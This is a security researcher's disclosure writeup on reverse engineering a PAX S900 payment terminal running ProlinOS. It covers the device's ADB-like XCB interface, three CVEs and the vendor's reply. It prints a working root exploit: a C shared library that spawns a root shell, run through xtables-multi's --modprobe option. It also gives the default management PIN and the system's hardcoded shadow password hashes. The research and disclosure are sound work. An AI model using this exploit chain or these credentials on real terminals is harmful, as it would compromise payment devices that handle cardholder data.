Exploiting a Linux-based payment terminal part 1: reversing to root

Published Jul 3, 2020

Note: See part 2 for a fully working exploit chain building on top of these vulnerabilities and more. As of 2025, to the surprise of no one, PAX has never delivered GPL patches, neither to me nor to any security researcher who contacted them in the years since this disclosure. Similarly, most devices remain unpatched, as there are limited possibilities for remote update delivery.


PAX Technology, a Chinese manufacturer of payment devices, claims to have delivered over 80 million terminals to 120 countries.

Their product lineup primarily consists of two types of devices:

  1. Devices based on ProlinOS, a custom operating system developed by PAX and derived from Android.
  2. Devices running a more standard version of Android, which are marketed as either SmartPOS or PayDroid.

This research focuses on devices running ProlinOS, which include (but is probably not limited to) the following models:

For this research, I purchased an S900 payment terminal from eBay and was fortunate to find a used model targeted at developers. Throughout this writeup, I will specify when certain findings apply only to the developer model and not the production versions. However, the differences between the two models are minimal in terms of vulnerabilities.

The following vulnerabilities were identified during the research:

Recon

S900 image from top

Before starting the analysis, I found the following resources very useful:

PDFs:

Tools:

FCC Documents:

From the internal photos, it’s clear that the device includes an additional battery, multiple anti-tampering contacts, and a warranty sticker on the side. While hardware attacks may be possible, they are out of scope for this research due to my lack of skills and equipment. Additionally, hardware attacks would be challenging to execute in real-world scenarios because of the typical usage conditions of a POS terminal.

The S900 features a color display, WiFi, GSM, Bluetooth, an AC charging port, and two mini USB ports. According to the specifications, one USB port is used for serial communication, while the other supports USB communication. The device is powered by a Broadcom BCM5892, with 128MB of flash and 64MB of RAM.

ProlinOS is a minimal Linux distribution, likely derived from Android.

Communication

To access the management interface (called TM, Terminal Management?), the device must be rebooted. On the S900, press the number 2 repeatedly during boot (even after the SELF-TEST screen). For the D200 or D210, use the F2 key instead. Other devices likely have similar keys, which can be determined through trial and error.

Once in the management interface, navigate to System Config, enter the default PIN (123456), and enable the XCB service. While some terminals might use a different default PIN, it is almost never unique to each device. Instead, the PIN is typically set per distributor (e.g., all terminals from the same bank are likely to share the same PIN).

The XCB service can operate over both the serial interface and the network, depending on the device model and the version of ProlinOS.

The development kit available online consists of a GUI application called TermAssist for Windows and an executable named xcb. Notably, TermAssist is simply a graphical wrapper for xcb.

Interestingly, while xcb stands for Xos Communication Bridge, it is essentially a slightly modified version of Android’s ADB.

Custom Client

I reverse-engineered the client and modified python-adb to support it (including functionality for the serial interface). You can find the repository for the custom client here:
Prolin XCB Client Repository.

Additionally, I submitted a Pull Request to the python-adb project to add serial support.

The shell functionality and several others have been removed in xcb, but core commands like push, pull, ls, and port forwarding are still available, even if not listed in the program help. Supposedly, xcb is intended for the following tasks:

Additionally, xcb includes a telnet command that forwards a telnet daemon to the local machine. However, this command only works on development devices, as the telnet binary is removed from BusyBox in production devices.

Debug Levels

ProlinOS devices operate at three debug levels:

  1. Debug Level 0:

    • Production devices.
    • BusyBox lacks sh and telnet.
    • xcb works but is limited.
  2. Debug Level 1:

    • Application development devices.
    • BusyBox includes both sh and telnet.
    • gdbserver is available.
    • Root access is disabled, and critical files like the kernel, kernel modules, and some PAX-specific configurations/binaries are unreadable.
  3. Debug Level 2:

    • Prolin development devices.
    • Root access is available with a hardcoded password.

Device used for research

The device used in this research operates at Debug Level 1. A production device (Debug Level 0) lacks a working telnet or shell by default. However, these functionalities can be restored by:

This writeup will demonstrate how escalation to root privileges is possible from Debug Level 0.

Basic Linux info

From the development S900:

~ $ uname -a
Linux localhost 3.0.56+ #1 Wed Mar 9 13:09:46 CST 2016 armv6l GNU/Linux

~ $ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:7037          0.0.0.0:*               LISTEN
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node Path
unix  2      [ ACC ]     STREAM     LISTENING        842 /dev/socket/property_service
unix  2      [ ACC ]     STREAM     LISTENING        869 /tmp/crashd
unix  2      [ ACC ]     STREAM     LISTENING        877 /tmp/MODEM_DAEMON_SERVER
unix  2      [ ACC ]     STREAM     LISTENING        880 /tmp/MODEM_POWER
unix  2      [ ACC ]     STREAM     LISTENING        885 /tmp/pm_socket
unix  2      [ ]         DGRAM                       900 /var/run/wpa_supplicant/wlan0
unix  2      [ ACC ]     STREAM     LISTENING        913 /tmp/PED_DAEMON_SERVER
unix  2      [ ACC ]     STREAM     LISTENING        917 /tmp/PED_SHUTDOWN_SERVER
unix  2      [ ACC ]     STREAM     LISTENING        929 /tmp/ipservice_server
unix  3      [ ]         STREAM     CONNECTED        971
unix  3      [ ]         STREAM     CONNECTED        970
unix  3      [ ]         STREAM     CONNECTED        944
unix  3      [ ]         STREAM     CONNECTED        943
unix  3      [ ]         STREAM     CONNECTED        888
unix  3      [ ]         STREAM     CONNECTED        887
unix  3      [ ]         STREAM     CONNECTED        873
unix  3      [ ]         STREAM     CONNECTED        872
unix  3      [ ]         STREAM     CONNECTED        868
unix  3      [ ]         STREAM     CONNECTED        867
unix  3      [ ]         STREAM     CONNECTED        845
unix  3      [ ]         STREAM     CONNECTED        844
~ $ ls /bin
[          chown      false      killall    ls         mknod      ps         rz         sync       true       yes
[[         clear      find       less       lsb        mount      pwd        sb         sz         udhcpc6
ash        cp         gdbserver  ln         lsx        mv         rb         setprop    tee        umount
busybox    date       getprop    lock       lsz        netstat    readlink   sh         test       uname
cat        dmesg      hexdump    lrb        md5sum     nice       rm         sleep      time       vi
chgrp      echo       id         lrx        mkdir      ping       rmdir      su         top        wget
chmod      env        kill       lrz        mkfifo     ping6      rx         sx         touch      xlogin

~ $ ls /usr/bin/
crashd                 ip6tables-save         logcat                 systemservice          xcbd
devinfo                ipservice              logwrapper             tm                     xtables-multi
gpsd                   iptables               modemd                 ts_calibrate
installer              iptables-restore       pedd                   wpa_supplicant
ip6tables              iptables-save          runapp                 wpa_supplicant_ap6181
ip6tables-restore      keyman                 servicemanager         xcb
~ $ lsmod
Module                  Size  Used by    Tainted: P
lcd_panel_TM035KBH08_36     2917  0
lcd_hw_ctrl             3175  0
lcd_fb                  6024  2
asix                   41551  0
prt_printer           259191  0
logger                265925 14
rsi_master             53658  0
rsi_client            210076  1 rsi_master
ads7846                 7341  0
bcm589x_i2s             7153  0
verify                  3046  0
bcm589x_sec            12844  0
bcm5892_bbl             7412  1
pcd_rc663              13826  0
pcd_base                6173  0
msr                    15271  0
sci_bcm5892_tda8026    21068  0
keypad_matrix           5211  0
input_base              8589  2 ads7846,keypad_matrix
misc                    6270  0
pmu_dummy               2878  4
bm_bq24103              1946  0
tty_host               10608  0
tty_devices            89511  2
bcm589x_otg           169745  1 tty_devices
bcm589x_dwccom         25580  1 bcm589x_otg
pm_bcm5892              3845  2 msr,keypad_matrix
ioconfig                8120  3 msr,sci_bcm5892_tda8026,keypad_matrix
S900_M07_P05_GPRS_MG323     2525  3 prt_printer,bm_bq24103,bcm589x_otg
devices_base           26185  7 pcd_base,msr,sci_bcm5892_tda8026,tty_host,tty_devices,bcm589x_otg,S900_M07_P05_GPRS_MG323
bcm5892_rtc             4938  0

Vulnerabilities

Arbitrary Read/Write (CVE-2020-28044)

As described in the “Communication” section, it is possible to list, read, and write files and folders with MAINAPP permissions via XCB. This provides significant control over the device’s file system.

Signature bypass and code execution (CVE-2020-28045)

While ELF executables on the device must be signed to be executed (as will be discussed later), libraries apparently do not require such signatures. This creates a vulnerability where custom executables can run without restrictions if:

  1. A working shell is available and LD_PRELOAD is functional.
  2. A library in use by an application can be overwritten, even without a shell.

The installer binary, which is executed by xcbd (the xcb daemon server, akin to adbd on Android), is responsible for verifying ELF signatures before binaries are added to the system. However, the kernel also performs a signature verification step, meaning ELF verification is handled both in userspace and via a kernel module.

The verification process uses the device /dev/verify and issues ioctl calls to send the binary file for validation. Based on the results of these calls, it can be determined if the binary is signed correctly. The signature format appears to be a straightforward RSA 2048 signature appended to the end of the file, along with the string SIGNED_VER:00001.

Privilege Escalation (CVE-2020-28046)

On the device, there are two primary vectors for privilege escalation:

  1. Kernel exploits:
    The outdated kernel is vulnerable to Dirty COW and several other well-known kernel exploits. However, despite attempting multiple Dirty COW payloads, I was unable to achieve escalation. As the kernel has been modified by PAX developers, debugging is restricted, and I lacked the privileges and tools needed to investigate further.

  2. The xtables-multi binary:
    The only setuid binary present on the system is xtables-multi. This binary serves as the xtables multi-link binary for Netfilter’s iptables and ip6tables. It provides a more promising avenue for escalation due to its elevated privileges and functionality.

~ $ xtables-multi
ERROR: No valid subcommand given.
Valid subcommands:
 * iptables
 * main4
 * iptables-save
 * save4
 * iptables-restore
 * restore4
 * iptables-xml
 * xml
 * ip6tables
 * main6
 * ip6tables-save
 * save6
 * ip6tables-restore
 * restore6
~ $ xtables-multi iptables
iptables v1.4.21: no command specified
Try `iptables -h' or 'iptables --help' for more information.

The version of xtables-multi on the device is not particularly recent. After conducting a brief search, it appears theoretically vulnerable to CVE-2019-11360. Upon examining the xtables-multi binary (which seems to have undergone minimal modification from the original version) and referencing the source code of version 1.4.21, it becomes evident that the vulnerability should indeed exist.

The following vulnerabilities can be observed in the source code of version 1.4.21:

After a few tests, it was possible to trigger a Segfault in both cases. ASLR is enabled and the NX bit is set, and there is no quick way to attach a debugger on the device itself. Although this approach seemed promising, there are simpler ways to achieve privilege escalation.

The iptables utility includes a --modprobe option, which is briefly mentioned in the usage documentation but is not explicitly described in terms of its functionality or behavior. I had previously leveraged this option for privilege escalation in a local CTF, where iptables was the only command permitted via sudoers.

The --modprobe option essentially allows the user to specify a command to execute when loading a kernel module. If the specified module is missing (which is a prerequisite for triggering this behavior), the provided command will be executed. For example, if the nat module is unloaded, --modprobe can be used to run any executable or shell script. This makes it a straightforward and powerful vector for privilege escalation.

To exploit the --modprobe option, the first requirement is that the required module (e.g., nat) must be missing. Running the following command confirms this condition:

~ $ iptables -t nat -L
iptables v1.4.21: can't initialize iptables table `nat': Table does not exist (do you need to insmod?)
Perhaps iptables or your kernel needs to be upgraded.

However, the exploit initially failed because the command provided to --modprobe did not execute. After some investigation, I discovered that before attempting to load the module, the code checks for the existence of the file /proc/net/ip_tables_names and uses it as a reference:

~ $ ls -lart /proc/net/ip_tables_names
-r--r-----    1 root     root             0 Jun  1 17:29 /proc/net/ip_tables_names

Fortunately, there’s an alternative: ip6tables, which checks a different file—/proc/net/ip6_tables_names. Since IPv6 adoption is still incomplete in many systems, this file often does not exist. On my device, this was indeed the case:

~ $ ls /proc/net/ip6_tables_names
ls: /proc/net/ip6_tables_names: No such file or directory

With this workaround, it is possible bypass the existence check and proceed to execute commands via --modprobe.

To execute a command or script, it must either be a signed executable or a script interpreted by a signed binary (e.g., BusyBox). While scripts do work because the BusyBox interpreter is signed, running BusyBox directly in this way results in it immediately dropping privileges. Moreover, LD_PRELOAD cannot be passed to an execv call, so the only viable method is to replace a shared library used by a signed executable that we have permission to execute.

Luckily, on my device, there were two user-installed applications (every operational terminal must have at least one). Both of these applications utilized shared libraries writable by the low-privileged user. While this behavior might seem problematic, it isn’t inherently a vulnerability. The current user is the one responsible for installing and maintaining applications and their associated assets, so they are expected to have the ability to overwrite them if needed.

Using some simple code, we can escalate privileges by overwriting a shared library and utilizing the --modprobe option with xtables-multi. Here’s the exploit code:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

int _init() {
    unsetenv("LD_PRELOAD");
    puts("LD_PRELOAD is working!");
    setreuid(0, 0);
    setuid(0);
    printf("UID: %d. EUID: %d.\n", getuid(), geteuid());
    system("/bin/sh");
    exit(0);
}

The code is cross-compiled as follows:

user@host#: arm-none-eabi-gcc -shared -fPIC -o privesc.so privesc.c -nostartfiles -static

On the device, the following user-writable executables were identified:

~ $ ls /data/app/MAINAPP/bin/
MablApp            MerchantDeviceApp

The libraries required by the MablApp are as follows:

host:/# arm-none-eabi-objdump -x MablApp | grep NEEDED
  NEEDED               libosal.so
  NEEDED               libarchive.so.13
  NEEDED               libsqlite3.so
  NEEDED               libcrypto.so.1.0.0
  NEEDED               libz.so.1
  NEEDED               libfreetype.so.6
  NEEDED               libpng12.so.0
  NEEDED               libpthread.so.0
  NEEDED               libts-1.0.so.0
  NEEDED               libxui.so
  NEEDED               libgcc_s.so.1
  NEEDED               libc.so.6

These libraries are located in /data/app/MAINAPP/lib/ on the device. I chose to overwrite libsqlite3.so with the compiled privesc.so.

The following demonstrates the process and successful privilege escalation:

/data/app/MAINAPP $ id
uid=999(MAINAPP) gid=999(MAINAPP) groups=1(system),2(hwdev),999(MAINAPP),999(MAINAPP)

/data/app/MAINAPP $ xtables-multi ip6tables -t nat -L --modprobe=/data/app/MAINAPP/bin/MablApp
LD_PRELOAD is working!
My UID is: 0. My GID is: 999. My EUID is: 0

BusyBox v1.22.1 (2016-03-09 12:47:22 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/data/app/MAINAPP # id
uid=0(root) gid=999(MAINAPP) egid=0(root) groups=1(system),2(hwdev),999(MAINAPP),999(MAINAPP)

System analysis

The bootloader used on the device is U-Boot. Below is the partition scheme:

dev:    size   erasesize  name
mtd0: 000c0000 00020000 "boot"            <- U-Boot image
mtd1: 00080000 00020000 "nvram_fac"       <- U-Boot environment
mtd2: 000c0000 00020000 "boot_res"        <- Boot resources, ie: boot logo
mtd3: 00400000 00020000 "kernel"          <- kernel binary
mtd4: 00600000 00020000 "ramdisk"         <- ramdisk containing init and kernel modules 
mtd5: 00600000 00020000 "base"            <- base system, including binaries and libraries
mtd6: 06e00000 00020000 "data"            <- user data, application executables, libraries, and assets

The file init.rc provides insight into how the system is started and how different debug levels are handled. From there, it seems like every device is shipped with all the debug level 2 executables, and that those gets deleted at every boot.

The GUI management binary is /usr/bin/tm. The system password is AES-encrypted and stored in a user-readable property.

A lot of functionality is implemented via kernel modules, available here.

Drivers and Libraries

Hardware drivers are implemented through a combination of a low-level kernel module and a higher-level abstraction module. The abstraction module is exposed via the libosal.so library.

For example, in this hardware revision of the S900, the RFID reader is supported as follows:

pcd_rc663.ko   -> Hardware driver
pcd_base.ko    -> Middleware, creates /dev/pcd
libosal.so     -> Shared library, provides the OsPicc* functions through interactions with /dev/pcd

Other devices include:

Further Reasearch

By finding a vulnerability in a Merchant App, in libosal.so or in one in the kernel drivers a remote attack via a payment vector is theoretically possible. Unfortunately, due to the lack of second hand production PoS in the used market, I’m unable to get a test device with a working Merchant App unless I open a contract with a bank (which I don’t want to). If anyone has contacts or is willing to provide one, or need assistance for futher research drop me an email or a tweet.

Reporting

I tried contacting several times PAX Global via email and never got a reply related to anything: neither about the security vulneabilities, neither on inquiries about the source code for the GPL licensed software (Linux/U-Boot).

Following this public disclosure PAX got in touch with me. It turned out my previous emails on June 2020 were marked as spam and never read. Here’s their official answer for the following two question:

We apply relevant security patches to all software components we use.

For vulnerabilities •Arbitrary read/write - CVE-2020-28044, •ELF signature bypass - CVE-2020-28045 and •Root privesc - CVE-2020-28046, we have fixed them these days and the firmware is under releasing.

For vulnerabilities “Dirty COW”, our kernel had “Dirty COW” patch included once CVE-2016-5195 had been published.

We certainly do comply with GPL version requirements, and had provided source code at requests before several years ago. Since we do not have automated or semi-automated procedure for that, we may need up to several weeks to review and isolate our proprietary code, and adjust the build scripts for the redaction.

Fun fact

I had issues understanding the shadow password format:

root:vCTc/8H/1/QoEXNamPGzhVGar/:0:0:99999:7:::
system:!/hEAV1:0:0:99999:7:::
hwdev:!.:0:0:99999:7:::
ped:!/:0:0:99999:7:::
SUBAPP:!:0:0:99999:7:::
MAINAPP:.olBn7f02Wgf.:0:0:99999:7:::

Until I found how that file is being generated (/startup/data-skeleton.sh):

[..]
/bin/cat << EOD > /data/etc/shadow
root:$1$9vCTc/8H$lRt/1/QoEXNamPGzhVGar/:0:0:99999:7:::
system:!$1$phzwtsL4$Qso0Z3H5eqoSUXwQ/hEAV1:0:0:99999:7:::
hwdev:!$1$jDG2WeUj$uM3mIyvZ1rkd11J7izXt6.:0:0:99999:7:::
ped:!$1$ZMsJtrjO$ibuMCiJvuyxQnrpkdptup/:0:0:99999:7:::
SUBAPP:!$1$gJUpez2c$U0Qv9IyoUAgD5cTSumbKB0:0:0:99999:7:::
MAINAPP:$1$wsdZqcgf$zD5mTBbZs.olBn7f02Wgf.:0:0:99999:7:::
EOD
/bin/chmod 0640 /data/etc/shadow
[..]

Sigh…